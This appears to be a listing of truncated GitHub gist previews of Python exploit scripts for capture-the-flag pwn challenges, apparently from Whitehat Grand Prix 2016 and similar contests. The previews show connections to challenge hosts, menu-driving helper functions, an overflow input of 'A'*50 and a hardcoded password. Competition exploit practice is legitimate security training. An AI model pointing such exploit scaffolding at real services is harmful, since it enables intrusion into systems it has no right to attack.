This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
import re | |
# p = Pwn(elf='./apple_DA0AEF582865A302F7DC56E62C4554BB') | |
p = Pwn(host='125.235.240.168',port=10002,elf='./apple_DA0AEF582865A302F7DC56E62C4554BB') | |
def add_item(item_id): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
import time | |
# p = Pwn(elf='./pwn250_FC4D17C352040B99EA177FAA032F553F',host='lab02.matesctf.org',port=4321) | |
# p = Pwn(elf='./pwn250_FC4D17C352040B99EA177FAA032F553F') | |
def exploit(**kargs): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
p = Pwn(elf='./pwn200') | |
def exploit(**kargs): | |
global p # use global var | |
if kargs.has_key('p'): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
p = Pwn(elf='./booklibrary') | |
password = '\xbbDhQ\xb8\xae' | |
def login(passwd): | |
p.read_until('$>') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Pwn import * | |
p = Pwn( | |
elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', | |
host='52.68.31.117', | |
port=5566 | |
) | |
# p = Pwn( | |
# elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8' | |
# ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Pwn import * | |
p = Pwn(mode=1,host='52.69.237.212',port=4869) | |
def make_folder(folder_name): | |
p.read_until('Your choice:') | |
p.sendint(3) | |
p.read_until('Name of Folder:') | |
p.sendline(folder_name) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Pwn import * | |
import re | |
p = Pwn(elf='./castle') | |
# p = Pwn(elf='./castle',host='castle.svattt.org',port=31330) | |
def go_up_set_key(user_key): | |
p.read_until('\xF0\x9F\x94\xA5') | |
p.sendline('w') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Pwn import * | |
import re | |
# p = Pwn(elf='./pwn004') | |
p = Pwn(elf='./pwn004',host='bakpwn04.grandprix.whitehatvn.com',port=23504) | |
def play_game(money,locky_number): | |
p.read_until('>') | |
p.sendint(1) | |
p.read_until('>') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Pwn import * | |
p = Pwn(elf='./merge_str',host='bakpwn06.grandprix.whitehatvn.com',port=23506) | |
def exploit(): | |
p.connect() | |
p.read_until(':') | |
p.sendline('A'*50) | |
p.read_until(':') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Pwn 500 WhitehatGrangrix 2016 | |
from Pwn import * | |
# p = Pwn(elf='./note') | |
p = Pwn(elf='./note',host='118.70.186.203',port=23501) | |
key_1 = [ | |
0xd49f6a35,0xa8733e09,0x7c4712dd,0x501be6b1, | |
0x24efba85,0xf8c38e59,0xcc97622d,0xa06b3601, | |
0x743f0ad5,0x4813dea9,0x1ce7b27d,0xf0bb8651, |